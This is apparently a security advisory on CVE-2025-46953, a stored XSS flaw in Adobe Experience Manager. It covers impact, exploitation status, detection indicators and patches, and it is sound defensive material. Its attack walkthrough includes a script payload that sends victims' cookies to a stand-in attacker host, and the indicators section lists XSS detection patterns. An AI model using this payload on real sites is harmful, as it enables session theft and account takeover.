CVE-2025-46953: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46953 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) affecting versions 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. A low-privileged attacker can inject malicious scripts into vulnerable form fields, which are then executed in a victim's browser when they visit the affected page. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) with changed scope (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged authenticated attacker can submit malicious JavaScript payloads into form fields that are inadequately sanitized before being stored and later rendered in other users' browsers. Exploitation requires user interaction (a victim browsing to the page containing the injected content) but no elevated privileges beyond a basic authenticated account. The changed scope indicator reflects that the injected script executes in the context of the victim's browser session, potentially affecting resources beyond the attacker's own security context (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected content, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of victims, and defacement of web content. The confidentiality and integrity impacts are both rated low, with no direct availability impact; however, chained with other vulnerabilities or targeting privileged users (e.g., AEM administrators), the effective impact could be significantly higher. The changed scope means the attack can affect users and resources beyond the attacker's own session (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-46953. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged authenticated account and victim interaction, which somewhat limits opportunistic exploitation (Adobe Advisory).

1. Gain low-privileged access: Obtain or create a low-privileged account on the target Adobe Experience Manager instance (e.g., a contributor or author account).
2. Identify vulnerable form fields: Navigate to AEM authoring interfaces or content forms that accept user input and are rendered to other users without adequate output encoding.
3. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
4. Wait for victim interaction: When a victim (e.g., another author, administrator, or site visitor) browses to the page containing the injected field, the malicious script executes in their browser.
5. Harvest results: Collect stolen session cookies, credentials, or other sensitive data exfiltrated to the attacker-controlled server, or perform actions in the victim's browser context (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data in query parameters.
• File System / Content Repository: Presence of <script> tags, JavaScript URIs (javascript:), or HTML event handler attributes in stored AEM content nodes (JCR repository) that were not placed by legitimate authors.
• Process/Application: Unexpected JavaScript errors or CSP violation reports logged in the AEM error log or browser console referencing external domains.

Adobe has released patches addressing this vulnerability: users should upgrade Adobe Experience Manager on-premises to version 6.5.23.0 or later, and AEM Cloud Service users should ensure they are on release 2025.5.0 or later. As interim mitigations, organizations should implement strict Content Security Policy (CSP) headers to restrict script execution, enforce rigorous input validation and output encoding for all form fields, and limit authoring/contributor access to trusted personnel only. Regularly auditing stored content for unexpected script injections is also recommended (Adobe Advisory).